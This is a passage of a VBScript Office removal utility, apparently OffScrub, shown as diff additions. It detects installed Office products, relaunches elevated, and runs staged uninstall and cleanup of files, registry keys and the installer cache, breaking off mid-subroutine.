+Const LYNC_ALL      = "{{4A2C120F-307B-4400-B239-F29ADB54D3C6}{{5CFD6599-10E5-4CF0-B6E1-BF39D30A64F8}{{5CFD6599-10E5-4CF0-B6E1-BF39D30A64F8}{{BF3AC8BA-1A0F-42AD-8B65-4250617AF682}{{3475BF22-3564-4EF3-A633-C5F3F4582392}{{263BA91B-7782-4EEB-A4FC-7BD554CAF1F3}{{AA256AE1-6B6A-48E6-9957-B38F92CA614B}{{D79732A1-BB17-4789-AE75-69D61261E305}{{C7B887F2-07CA-4903-93A2-9B4E16E4EABD}{{81BE0B17-563B-45D4-B198-5721E6C665CD}{{11298539-8073-4D54-B6A0-88D4FA512E5C}{{C192041D-2861-4E02-9F43-4041858A58F1}{{7023C711-0E65-471E-8048-12C455968841}{{58A013B1-1613-4978-881A-FCA43710C84A}{{7FD6C049-9777-4B51-91FF-B19D79ADF439}{{D3001D99-675B-44DF-A8EB-A7BB6F864DB7}{{0C5EA724-8649-47FA-B505-75B35390378D}{{13DE0C92-2AE4-48D0-8CC8-58D5E327BDCB}{{E7EC16E6-C220-41C0-9C91-5E7702B8EC86}{{1B10C75C-70E1-460E-B07B-D7DFF365D80F}{{331977BC-B246-46B4-8829-1D52F41C8C7B}{{D8255EF2-0BB2-4AF1-A662-5EBACD179475}{{DD069437-C92B-4C1C-A992-14F6C7E12C2C}{{E9E30DB3-8D72-43A0-B1B8-A6F8261D20D6}{{545B7E32-E254-40E1-8935-91C61E3D02C2}{{70409E9E-AFAE-4C05-AE57-F83B89819434}{{1D6E3225-753D-41AD-A2C4-68684700F592}{{217AA75D-82C0-4C49-9252-A0E6F9661688}{{5AB81CD4-7C78-420C-AAAC-855C4BADBDDD}{{AA595672-6515-4961-B81F-485F86627C76}{{C9F2C38C-21F0-4687-8C7D-51AA02CE8C98}{{DD80DED6-700D-4CC5-B2A9-C64A1AD155B9}{{88257193-EC61-4152-8AB1-A5FB4BE638D7}{{7D9109C3-58A9-4AFD-A1D3-47E7D811726E}{{71C6D199-5B8E-41E7-BA36-D99F66E0072E}{{1CFE7869-777D-4563-8161-2C75ED95B621}{{FE25DDB2-5766-4A9E-86D2-2B709CC8F65D}{{621F7793-1C51-45BA-899F-41557946B0E3}{{B31017AA-FBF8-4003-8785-EC789C2AE0C2}{{11849FBC-C416-4742-8279-17C3A2C85F72}{{4F380D4B-A84D-45C7-AF58-59EA2AEDF35A}{{81BE0B17-563B-45D4-B198-5721E6C665CD}"
+
+
+'=======================================================================================================
+Dim oFso, oMsi, oReg, oWShell, oWmiLocal, oShellApp
+Dim ComputerItem, Item, LogStream, TmpKey
+Dim arrTmpSKUs, arrDeleteFiles, arrDeleteFolders, arrMseFolders, arrVersion
+Dim dictionaryKeepProd, dictionaryKeepLis, dicApps, dictionaryKeepFolder, dicDelRegKey, dictionaryKeepReg
+Dim dicInstalledSku, dicRemoveSku, dictionaryKeepSku, dicSrv, dicCSuite, dicCSingle
+Dim f64, fLegacyProductFound, fCScript
+Dim sErr, sTmp, sSkuRemoveList, sWinDir, sWICacheDir, sMode
+Dim sAppData, sTemp, sScrubDir, sProgramFiles, sProgramFilesX86, sCommonProgramFiles
+Dim sAllusersProfile, sOSinfo, sOSVersion, sCommonProgramFilesX86, sProfilesDirectory
+Dim sProgramData, sLocalAppData, sOInstallRoot, sScriptDir
+Dim iVersionNT
+
+'=======================================================================================================
+'Main
+'=======================================================================================================
+'Configure defaults
+Dim sLogDir : sLogDir = ""
+Dim sMoveMessage: sMoveMessage = ""
+Dim fRemoveOse      : fRemoveOse = False
+Dim fRemoveOspp     : fRemoveOspp = False
+Dim fRemoveAll      : fRemoveAll = False
+Dim fRemoveC2R      : fRemoveC2R = False
+Dim fRemoveAppV     : fRemoveAppV = False
+Dim fRemoveCSuites  : fRemoveCSuites = False
+Dim fRemoveCSingle  : fRemoveCSingle = False
+Dim fRemoveSrv      : fRemoveSrv = False
+Dim fRemoveLync     : fRemoveLync = False
+Dim fKeepUser       : fKeepUser = True  'Default to keep per user settings
+Dim fSkipSD         : fSkipSD = False 'Default to not Skip the Shortcut Detection
+Dim fKeepSG         : fKeepSG = False 'Default to not override the SoftGrid detection
+Dim fDetectOnly     : fDetectOnly = False
+Dim fQuiet          : fQuiet = True
+Dim fBasic          : fBasic = False
+Dim fNoCancel       : fNoCancel = False
+Dim fPassive        : fPassive = True
+Dim fNoReboot       : fNoReboot = True 'Default to offer reboot prompt if needed
+Dim fNoElevate      : fNoElevate = False
+Dim fElevated       : fElevated = False
+Dim fTryReconcile   : fTryReconcile = False
+Dim fC2rInstalled   : fC2rInstalled = False
+'CAUTION! -> "fForce" will kill running applications which can result in data loss! <- CAUTION
+Dim fForce          : fForce = False
+'CAUTION! -> "fForce" will kill running applications which can result in data loss! <- CAUTION
+Dim fLogInitialized : fLogInitialized = False
+Dim fBypass_Stage1  : fBypass_Stage1 = True 'Component Detection
+Dim fBypass_Stage2  : fBypass_Stage2 = False 'Setup
+Dim fBypass_Stage3  : fBypass_Stage3 = False 'Msiexec
+Dim fBypass_Stage4  : fBypass_Stage4 = False 'CleanUp
+Dim fRebootRequired : fRebootRequired = False
+
+'Create required objects
+Set oWmiLocal   = GetObject("winmgmts:{{(Debug)}\\.\root\cimv2")
+Set oWShell     = CreateObject("Wscript.Shell")
+Set oShellApp   = CreateObject("Shell.Application")
+Set oFso        = CreateObject("Scripting.FileSystemObject")
+Set oMsi        = CreateObject("WindowsInstaller.Installer")
+Set oReg        = GetObject("winmgmts:\\.\root\default:StdRegProv")
+
+'Get environment path info
+sAppData            = oWShell.ExpandEnvironmentStrings("%appdata%")
+sLocalAppData       = oWShell.ExpandEnvironmentStrings("%localappdata%")
+sTemp               = oWShell.ExpandEnvironmentStrings("%temp%")
+sAllUsersProfile    = oWShell.ExpandEnvironmentStrings("%allusersprofile%")
+RegReadValue HKLM, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory", sProfilesDirectory, "REG_EXPAND_SZ"
+If NOT oFso.FolderExists(sProfilesDirectory) Then
+    sProfilesDirectory  = oFso.GetParentFolderName(oWShell.ExpandEnvironmentStrings("%userprofile%"))
+End If
+sProgramFiles       = oWShell.ExpandEnvironmentStrings("%programfiles%")
+'Deferred until after architecture check
+'sProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%programfiles(x86)%")
+
+sCommonProgramFiles = oWShell.ExpandEnvironmentStrings("%commonprogramfiles%")
+'Deferred until after architecture check
+'sCommonProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%CommonProgramFiles(x86)%")
+
+sProgramData        = oWSHell.ExpandEnvironmentStrings("%programdata%")
+sWinDir             = oWShell.ExpandEnvironmentStrings("%windir%")
+sWICacheDir         = sWinDir & "\" & "Installer"
+sScrubDir           = sTemp & "\" & SCRIPTNAME
+sScriptDir          = wscript.ScriptFullName
+sScriptDir          = Left(sScriptDir, InStrRev(sScriptDir, "\"))
+
+' Get current script host
+fCScript = UCase(Mid(Wscript.FullName, Len(Wscript.Path) + 2, 1)) = "C"
+
+'Detect if we're running on a 64 bit OS
+Set ComputerItem = oWmiLocal.ExecQuery("Select * from Win32_ComputerSystem")
+For Each Item In ComputerItem
+    f64 = Instr(Left(Item.SystemType,3),"64") > 0
+    If f64 Then Exit For
+Next
+If f64 Then sProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%programfiles(x86)%")
+If f64 Then sCommonProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%CommonProgramFiles(x86)%")
+
+'Get OS details and VersionNT
+Set ComputerItem = oWmiLocal.ExecQuery("Select * from Win32_OperatingSystem")
+For Each Item in ComputerItem
+    sOSinfo = sOSinfo & Item.Caption
+    sOSinfo = sOSinfo & Item.OtherTypeDescription
+    sOSinfo = sOSinfo & ", " & "SP " & Item.ServicePackMajorVersion
+    sOSinfo = sOSinfo & ", " & "Version: " & Item.Version
+    sOsVersion = Item.Version
+    sOSinfo = sOSinfo & ", " & "Codepage: " & Item.CodeSet
+    sOSinfo = sOSinfo & ", " & "Country Code: " & Item.CountryCode
+    sOSinfo = sOSinfo & ", " & "Language: " & Item.OSLanguage
+Next
+
+'Build the VersionNT number
+arrVersion = Split(sOsVersion, Delimiter(sOsVersion))
+iVersionNt = CInt(arrVersion (0)) * 100 + CInt(arrVersion (1))
+
+'Check if we're running as 32 bit process on a 64 bit OS
+If InStr(LCase(wscript.path), "syswow64") > 0 Then RelaunchAs64Host
+
+fElevated = CheckRegPermissions
+If NOT fElevated AND NOT fNoElevate Then
+    'Try to relaunch elevated
+    RelaunchElevated
+
+    'Can't relaunch. Exit out
+    If UCase(Mid(Wscript.FullName, Len(Wscript.Path) + 2, 1)) = "C" Then
+        If Not fLogInitialized Then CreateLog
+        Log "Insufficient registry access permissions - exiting"
+    End If
+    'Undo temporary entries created in ARP
+    TmpKeyCleanUp
+    wscript.quit 3
+End If
+
+'Create Dictionaries
+Set dictionaryKeepProd = CreateObject("Scripting.Dictionary")
+Set dicInstalledSku = CreateObject("Scripting.Dictionary")
+Set dicRemoveSku = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepSku = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepLis = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepFolder = CreateObject("Scripting.Dictionary")
+Set dicApps = CreateObject("Scripting.Dictionary")
+Set dicDelRegKey = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepReg = CreateObject("Scripting.Dictionary")
+Set dicSrv = CreateObject("Scripting.Dictionary")
+Set dicCSuite = CreateObject("Scripting.Dictionary")
+Set dicCSingle = CreateObject("Scripting.Dictionary")
+
+'Create the temp folder
+If Not oFso.FolderExists(sScrubDir) Then oFso.CreateFolder sScrubDir
+
+'Set the default logging directory
+sLogDir = sScrubDir
+
+'Call the command line parser
+ParseCmdLine
+
+'Ensure CScript as engine
+If NOT fCScript AND NOT fQuiet Then RelaunchAsCScript
+
+'Get Office Install Folder
+If NOT RegReadValue(HKLM,"SOFTWARE\Microsoft\Office\"&OVERSION&"\Common\InstallRoot","Path",sOInstallRoot,"REG_SZ") Then
+    sOInstallRoot = sProgramFiles & "\Microsoft Office\"&OREF
+End If
+
+'Ensure integrity of WI metadata which could fail used APIs otherwise
+EnsureValidWIMetadata HKCU,"Software\Classes\Installer\Products",COMPRESSED
+EnsureValidWIMetadata HKCR,"Installer\Products",COMPRESSED
+EnsureValidWIMetadata HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products",COMPRESSED
+EnsureValidWIMetadata HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components",COMPRESSED
+EnsureValidWIMetadata HKCR,"Installer\Components",COMPRESSED
+
+'Add initial known .exe files that might need to be closed
+dicApps.Add "communicator.exe", "communicator.exe"
+dicApps.Add "setup.exe", "setup.exe"
+Select Case OVERSIONMAJOR
+Case "12"
+Case "14"
+    dicApps.Add "bcssync.exe","bcssync.exe"
+    dicApps.Add "officesas.exe","officesas.exe"
+    dicApps.Add "officesasscheduler.exe","officesasscheduler.exe"
+    dicApps.Add "msosync.exe","msosync.exe"
+    dicApps.Add "onenotem.exe","onenotem.exe"
+Case "15"
+Case Else
+End Select
+
+'-------------------
+'Stage # 0 - Basics |
+'-------------------
+'Build a list with installed/registered Office products
+sTmp = "Stage # 0 " & chr(34) & "Basics" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+
+FindInstalledOProducts
+If dicInstalledSku.Count > 0 Then Log "Found registered product(s): " & Join(RemoveDuplicates(dicInstalledSku.Items),",") &vbCrLf
+
+'Validate the list of products we got from the command line if applicable
+ValidateRemoveSkuList
+
+'Log detection results
+If dicRemoveSku.Count > 0 Then Log "Product(s) to be removed: " & Join(RemoveDuplicates(dicRemoveSku.Items),",")
+sMode = "Selected " & ONAME & " products"
+If NOT dicRemoveSku.Count > 0 Then sMode = "Orphaned " & ONAME & " products"
+If fRemoveAll Then sMode = "All " & ONAME & " products"
+Log "Final removal mode: " & sMode
+Log "Remove OSE service: " & fRemoveOse &vbCrLf
+
+'Log preview mode if applicable
+If fDetectOnly Then Log "*************************************************************************"
+If fDetectOnly Then Log "*                          PREVIEW MODE                                 *"
+If fDetectOnly Then Log "* All uninstall and delete operations will only be logged not executed! *"
+If fDetectOnly Then Log "*************************************************************************" & vbCrLf
+
+'Check if there are legacy products installed
+CheckForLegacyProducts
+If fLegacyProductFound Then Log "Found legacy Office products that will not be removed." Else Log "No legacy Office products found."
+
+'Cache .msi files
+If dicRemoveSku.Count > 0 Then CacheMsiFiles
+
+'Log Sku/Prod detection results
+LogSkuResults
+
+'UnPin Shortcuts
+If NOT fSkipSD AND dicRemoveSku.Count > 0 Then
+    On Error Resume Next
+    Log " Searching for pinned shortcuts"
+    CleanShortcuts sAllUsersProfile, False, True
+    CleanShortcuts sProfilesDirectory, False, True
+    On Error Goto 0
+End If 'NOT SkipSD
+
+
+'--------------------------------
+'Stage # 1 - Component Detection |
+'--------------------------------
+sTmp = "Stage # 1 " & chr(34) & "Component Detection" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage1 OR fForce Then
+    'Build a list with files which are installed/registered to a product that's going to be removed
+    Log "Prepare for CleanUp stages."
+    Log "Identifying removable elements. This can take several minutes."
+    ScanComponents
+Else
+    Log "Not running Component Detection in default removal."
+End If
+
+'End all running Office applications
+If fForce OR fQuiet OR fPassive Then CloseOfficeApps
+
+'----------------------
+'Stage # 2 - Setup.exe |
+'----------------------
+sTmp = "Stage # 2 " & chr(34) & "Setup.exe" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage2 Then
+    SetupExeRemoval
+Else
+    Log "Skipping Setup.exe because bypass was requested."
+End If
+
+'------------------------
+'Stage # 3 - Msiexec.exe |
+'------------------------
+sTmp = "Stage # 3 " & chr(34) & "Msiexec.exe" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage3 Then
+    MsiexecRemoval
+Else
+    Log "Skipping Msiexec.exe because bypass was requested."
+End If
+
+'--------------------
+'Stage # 4 - CleanUp |
+'--------------------
+'Removal of files and registry settings
+sTmp = "Stage # 4 " & chr(34) & "CleanUp" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage4 Then
+
+    'Office Source Engine
+    If fRemoveOse Then RemoveOSE
+
+    'Local Installation Source (MSOCache)
+    WipeLIS
+
+    'Obsolete files
+    If fRemoveAll Then
+        FileWipeAll
+    Else
+        FileWipeIndividual
+    End If
+
+    'Empty Folders
+    DeleteEmptyFolders
+
+    'Restore Explorer if needed
+    If fForce OR fQuiet OR fPassive Then RestoreExplorer
+
+    'Registry data
+    RegWipe
+
+    'Wipe orphaned files from Windows Installer cache
+    MsiClearOrphanedFiles
+
+    'Temporary .msi files in scrubcache
+    DeleteMsiScrubCache
+
+    'Temporary files
+    DelScrubTmp
+
+Else
+    Log "Skipping CleanUp because bypass was requested."
+End If
+
+If Not sMoveMessage = "" Then Log vbCrLf & "Please remove this folder after next reboot: " & sMoveMessage
+
+'THE END
+Log vbCrLf & "End removal: " & Now & vbCrLf
+Log vbCrLf & "For detailed logging please refer to the log in folder " &chr(34)&sScrubDir&chr(34)&vbCrLf
+
+If fRebootRequired Then
+    Log vbCrLf & "A restart is required to complete the operation!"
+    If NOT (fQuiet OR fPassive OR fNoReboot) Then
+        If MsgBox("Do you want to reboot now?",vbYesNo,"Reboot Required") = VB_YES Then
+            Dim colOS, oOS
+            Dim oWmiReboot
+            Set oWmiReboot = GetObject("winmgmts:{{impersonationLevel=impersonate,(Shutdown)}!\\.\root\cimv2")
+            Set colOS = oWmiReboot.ExecQuery ("Select * from Win32_OperatingSystem")
+            For Each oOS in colOS
+                oOS.Reboot()
+            Next
+        End If
+    End If
+End If
+
+If NOT (fQuiet OR fPassive) Then
+    For Each Item in Wscript.Arguments
+        If Item = "UAC" Then
+            If fCscript Then wscript.stdout.write "Press <Enter> to close this window"
+            sTemp = wscript.stdin.read(1)
+        End If
+    Next 'Argument
+End If
+'=======================================================================================================
+'=======================================================================================================
+
+'Stage 0 - 4 Subroutines
+'=======================================================================================================
+
+'Office configuration products are listed with their configuration product name in the "Uninstall" key
+'To identify an Office configuration product all of these condiditions have to be met:
+' - "SystemComponent" does not have a value of "1" (DWORD)
+' - "OPACKAGE" (see constant declaration) entry exists and is not empty
+' - "DisplayVersion" exists and the 2 leftmost digits are "OVERSIONMAJOR"
+Sub FindInstalledOProducts
+    Dim ArpItem, File
+    Dim sCurKey, sValue, sConfigName, sProdC, sCVHValue
+    Dim sProductCodeList, sProductCode
+    Dim arrKeys, arrMultiSzValues
+    Dim fSystemComponent0, fPackages, fDisplayVersion, fReturn, fCategorized
+
+    If dicInstalledSku.Count > 0 Then Exit Sub 'Already done from InputBox prompt
+
+    'Handle orphaned products to get them added to the detection scope
+    If fTryReconcile Then
+        For Each File in oFso.GetFolder(sWICacheDir).Files
+            If Len(File.Name)>3 Then
+                Select Case LCase(Right(File.Name, 4))
+                Case ".msi"
+                    sProductCode = ""
+                    sProductCode = GetMsiProductCode(File.Path)
+                    If InScope(sProductCode) Then
+                        If NOT RegKeyExists(HKLM, REG_ARP & sProductCode) Then
+                            'Ensure the orphaned item is getting removed
+                            If Len(sSkuRemoveList) > 0 Then
+                                sSkuRemoveList = sSkuRemoveList & "," & GetProductID(Mid(sProductCode, 11, 4))
+                            Else
+                                sSkuRemoveList = GetProductID(Mid(sProductCode, 11, 4))
+                            End If
+                            'Add to ScrubDir
+                            oFso.CopyFile File.Path,sScrubDir & "\" & sProductCode & ".msi",True
+                            'Register the product with MSI
+                            MsiRegisterProduct File.Path
+                        End If 'NOT sProductCode
+                    End If 'InScope
+                Case Else
+                End Select
+            End If '>3
+        Next 'File
+    End If 'fTryReconcile
+
+    'Locate standalone Office products that have no configuration product entry and create a
+    'temporary configuration entry
+    ReDim arrTmpSKUs(-1)
+    If RegEnumKey(HKLM, REG_ARP, arrKeys) Then
+        For Each ArpItem in arrKeys
+            If InScope(ArpItem) Then
+                sCurKey = REG_ARP & ArpItem & "\"
+                fSystemComponent0 = Not (RegReadValue(HKLM, sCurKey, "SystemComponent", sValue, "REG_DWORD") AND (sValue = "1"))
+                If fSystemComponent0 Then
+                    RegReadValue HKLM, sCurKey, "DisplayVersion", sValue, "REG_SZ"
+                    Redim arrMultiSzValues(0)
+                    'Logic changed to drop the LCID identifier
+                    'sConfigName = GetProductID(Mid(ArpItem,11,4)) & "_" & CInt("&h" & Mid(ArpItem,16,4))
+                    sConfigName = OREGREF & GetProductID(Mid(ArpItem, 11, 4))
+                    If NOT RegKeyExists(HKLM, REG_ARP&sConfigName) Then
+                        'Create a new ARP item
+                        ReDim Preserve arrTmpSKUs(UBound(arrTmpSKUs) + 1)
+                        arrTmpSKUs(UBound(arrTmpSKUs)) = sConfigName
+                        oReg.CreateKey HKLM, REG_ARP & sConfigName
+                        arrMultiSzValues(0) = sConfigName
+                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, OPACKAGE, arrMultiSzValues
+                        arrMultiSzValues(0) = ArpItem
+                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "Comment", "Temporary OffScrub generated key. Please delete this key!"
+                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, "ProductCodes", arrMultiSzValues
+                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "DisplayVersion", sValue
+                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "DisplayName", SCRIPTNAME & "_" & sConfigName
+                        oReg.SetDWordValue HKLM, REG_ARP & sConfigName, "SystemComponent", 0
+                    Else
+                        'Update the existing temporary ARP item
+                        fReturn = RegReadValue(HKLM, REG_ARP&sConfigName, "ProductCodes", sProdC, "REG_MULTI_SZ")
+                        If NOT InStr(sProdC, ArpItem) > 0 Then sProdC = sProdC & chr(34) & ArpItem
+                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, "ProductCodes", Split(sProdC, Chr(34))
+                    End If 'RegKeyExists
+                End If 'fSystemComponent0
+            End If 'InScope
+        Next 'ArpItem
+    End If 'RegEnumKey
+
+    'Find the configuration products
+    If RegEnumKey(HKLM, REG_ARP, arrKeys) Then
+        For Each ArpItem in arrKeys
+            sCurKey = REG_ARP & ArpItem & "\"
+            sValue = ""
+            fSystemComponent0 = NOT (RegReadValue(HKLM, sCurKey, "SystemComponent", sValue, "REG_DWORD") AND (sValue = "1"))
+            fPackages = RegReadValue(HKLM, sCurKey, OPACKAGE, sValue, "REG_MULTI_SZ")
+            fDisplayVersion = RegReadValue(HKLM, sCurKey, "DisplayVersion", sValue, "REG_SZ")
+            If fDisplayVersion Then
+                If Len(sValue) > 1 Then
+                    fDisplayVersion = (Left(sValue, 2) = OVERSIONMAJOR)
+                Else
+                    fDisplayVersion = False
+                End If
+            End If
+            'fSystemComponent0 filter causes issues if the ARP entries have been hidden
+            'If (fSystemComponent0 AND fPackages AND fDisplayVersion) Then
+            If (fPackages AND fDisplayVersion) Then
+                If InStr(ArpItem,".") > 0 Then sConfigName = UCase(Mid(ArpItem, InStr(ArpItem, ".") + 1)) Else sConfigName = UCase(ArpItem)
+                If NOT dicInstalledSku.Exists(sConfigName) Then dicInstalledSku.Add sConfigName, sConfigName
+
+                'Categorize the SKU
+                'Four categories are available: ClientSuite, ClientSingleProduct, Server, C2R
+                If RegReadValue(HKLM, REG_ARP & OREGREF & sConfigName, "ProductCodes", sProductCodeList, "REG_MULTI_SZ") Then
+                    fCategorized = False
+                    For Each sProductCode in Split(sProductCodeList, Chr(34))
+                        If Len(sProductCode) = 38 Then
+                            If Mid(sProductCode, 11, 1) = "1" Then
+                                'Server product
+                                If NOT dicSrv.Exists(UCase(sConfigName)) Then dicSrv.Add UCase(sConfigName), sConfigName
+                                fCategorized = True
+                                Exit For
+                            Else
+                                Select Case Mid(sProductCode, 11, 4)
+                                'Client Suites
+                                Case "000F","0011","0012","0013","0014","0015","0016","0017","0018","0019","001A","001B","0029","002B","002E","002F","0030","0031","0033","0035","0037","003D","0044","0049","0061","0062","0066","006C","006D","006F","0074","00A1","00A3","00A9","00BA","00CA","00E0","0100","0103","011A"
+                                    If NOT dicCSuite.Exists(UCase(sConfigName)) Then dicCSuite.Add UCase(sConfigName), sConfigName
+                                    fCategorized = True
+                                    Exit For
+
+                                Case "007E", "008F", "008C", "24E1", "237A"
+                                    If NOT dictionaryKeepProd.Exists(sProductCode) Then dictionaryKeepProd.Add sProductCode, sConfigName
+                                    fC2rInstalled = True
+                                Case Else
+                                End Select
+                            End If
+                        End If 'Len 38
+                    Next 'sProductCode
+                    If NOT fCategorized Then
+                        If NOT dicCSingle.Exists(UCase(sConfigName)) Then dicCSingle.Add UCase(sConfigName), sConfigName
+                    End If 'fCategorized
+                End If 'RegReadValue "ProductCodes"
+            End If
+        Next 'ArpItem
+    End If 'RegEnumKey
+End Sub 'FindInstalledOProducts
+'=======================================================================================================
+
+'Check if there are Office products from previous versions on the computer
+Sub CheckForLegacyProducts
+    Const OLEGACY = "78E1-11D2-B60F-006097C998E7}.6000-11D3-8CFE-0050048383C9}.6000-11D3-8CFE-0150048383C9}.BDCA-11D1-B7AE-00C04FB92F3D}.6D54-11D4-BEE3-00C04F990354}"
+    Dim Product
+
+    'Set safe default
+    fLegacyProductFound = True
+
+    For Each Product in oMsi.Products
+        If Len(Product) = 38 Then
+            'Handle O09 - O11 Products
+            If InStr(OLEGACY, UCase(Right(Product, 28))) > 0 Then
+                'Found legacy Office product. Keep flag in default and exit
+                Exit Sub
+            End If
+            If UCase(Right(Product,PRODLEN)) = OFFICEID Then
+                Select Case Mid(Product,4,2)
+                Case "12", "14"
+                    'Found legacy Office product. Keep flag in default and exit
+                    Exit Sub
+                Case Else
+                End Select
+            End If
+        End If '38
+    Next 'Product
+    fLegacyProductFound = False
+
+End Sub 'CheckForLegacyProducts
+'=======================================================================================================
+
+'Create clean list of Products to remove.
+'Strip off bad & empty contents
+Sub ValidateRemoveSkuList
+    Dim Sku, Key, sProductCode, sProductCodeList
+    Dim arrRemoveSKUs
+
+    If fRemoveAll Then
+        'Remove all mode
+        For Each Key in dicInstalledSku.Keys
+            dicRemoveSku.Add Key,dicInstalledSku.Item(Key)
+        Next 'Key
+    Else
+        'Remove individual products or preconfigured configurations mode
+
+        'Ensure to have a string with no unexpected contents
+        sSkuRemoveList = Replace(sSkuRemoveList,";",",")
+        sSkuRemoveList = Replace(sSkuRemoveList," ","")
+        sSkuRemoveList = Replace(sSkuRemoveList,Chr(34),"")
+        While InStr(sSkuRemoveList,",,")>0
+            sSkuRemoveList = Replace(sSkuRemoveList,",,",",")
+        Wend
+
+        'Prepare 'remove' and 'keep' dictionaries to determine what has to be removed
+
+        'Initial pre-fill of 'keep' dic
+        For Each Key in dicInstalledSku.Keys
+            dictionaryKeepSku.Add Key,dicInstalledSku.Item(Key)
+        Next 'Key
+
+        'Determine contents of keep and remove dic
+        'Individual products
+        arrRemoveSKUs = Split(UCase(sSkuRemoveList),",")
+        For Each Sku in arrRemoveSKUs
+            If Sku = "OSE" Then fRemoveOse = True
+            If dictionaryKeepSku.Exists(Sku) Then
+                'A Sku to remove has been passed in
+                'remove the item from the keep dic
+                dictionaryKeepSku.Remove(Sku)
+                'Now add it to the remove dic
+                If NOT dicRemoveSku.Exists(Sku) Then dicRemoveSku.Add Sku,Sku
+            End If
+        Next 'Sku
+
+        'Client Suite Category
+        If fRemoveCSuites Then
+            For Each Key in dicInstalledSku.Keys
+                If dicCSuite.Exists(Key) Then
+                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
+                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
+                End If
+            Next 'Key
+        End If 'fRemoveCSuites
+
+        'Client Single/Standalone Category
+        If fRemoveCSingle Then
+            For Each Key in dicInstalledSku.Keys
+                If dicCSingle.Exists(Key) Then
+                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
+                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
+                End If
+            Next 'Key
+        End If 'fRemoveCSingle
+
+        'Server Category
+        If fRemoveSrv Then
+            For Each Key in dicInstalledSku.Keys
+                If dicSrv.Exists(Key) Then
+                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
+                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
+                End If
+            Next 'Key
+        End If 'fRemoveSrv
+
+        If NOT dictionaryKeepSku.Count > 0 Then fRemoveAll = True
+
+    End If 'fRemoveAll
+
+    'Fill the KeepProd dic
+    For Each Sku in dictionaryKeepSku.Keys
+        If RegReadValue(HKLM, REG_ARP & OREGREF & Sku, "ProductCodes", sProductCodeList, "REG_MULTI_SZ") Then
+            For Each sProductCode in Split(sProductCodeList, chr(34))
+                If Len(sProductCode) = 38 Then
+                    If NOT dictionaryKeepProd.Exists(sProductCode) Then
+                    	dictionaryKeepProd.Add sProductCode, Sku
+                    	' also add the UpgradeCode
+                    	If Not dictionaryKeepProd.Exists(GetUpgradeCode(sProductCode)) Then dictionaryKeepProd.Add GetUpgradeCode(sProductCode), Sku & "_UpgradeCode"
+                    End If
+                End If '38
+            Next 'sProductCode
+        End If
+    Next 'Sku
+
+    If fRemoveAll OR fRemoveOse Then CheckRemoveOSE
+    If fRemoveAll OR fRemoveOspp Then CheckRemoveOspp
+
+End Sub 'ValidateRemoveSkuList
+'=======================================================================================================
+
+'Check if OSE service can be scrubbed
+Sub CheckRemoveOSE
+    Const O11 = "6000-11D3-8CFE-0150048383C9}"
+    Dim Product
+
+    If fRemoveOse Then Exit Sub
+    For Each Product in oMsi.Products
+        If Len(Product) = 38 Then
+            If UCase(Right(Product, 28)) = O11 Then
+                'Found Office 2003 Product. Set flag to not remove the OSE service
+                Exit Sub
+            End If
+            If UCase(Right(Product, PRODLEN))= OFFICEID Then
+                Select Case Mid(Product, 4, 2)
+                Case "12","14","15","16","17"
+                    If NOT Mid(Product, 4, 2) = OVERSIONMAJOR Then
+	                    'Found another Office product. Set flag to keep the OSE service
+                        fRemoveOse = False
+                        Exit Sub
+                    End If
+                Case Else
+                End Select
+            End If
+        End If '38
+    Next 'Product
+    fRemoveOse = True
+End Sub 'CheckRemoveOSE
+'=======================================================================================================
+
+'Check if OSPP service can be scrubbed
+Sub CheckRemoveOSPP
+    Dim Product
+
+    If NOT CInt(OVERSIONMAJOR) > 12 Then
+        fRemoveOspp = False
+        Exit Sub
+    End If
+
+    If fRemoveOspp Then Exit Sub
+
+    If fC2rInstalled Then
+        fRemoveOspp = False
+        Exit Sub
+    End If
+
+    For Each Product in oMsi.Products
+        If Len(Product) = 38 Then
+            If UCase(Right(Product, PRODLEN)) = OFFICEID Then
+                Select Case Mid(Product, 4, 2)
+                Case "14","15","16","17"
+                    If NOT Mid(Product, 4, 2) = OVERSIONMAJOR Then
+						'Found another Office product. Set flag to keep the OSPP service
+                        fRemoveOspp = False
+                        Exit Sub
+                    End If
+                Case Else
+                End Select
+            End If
+        End If '38
+    Next 'Product
+    fRemoveOspp = True
+End Sub 'CheckRemoveOSPP
+'=======================================================================================================
+
+'Cache .msi files for products that will be removed in case they are needed for later file detection
+Sub CacheMsiFiles
+    Dim Product
+    Dim sMsiFile
+
+    'Non critical routine for failures.
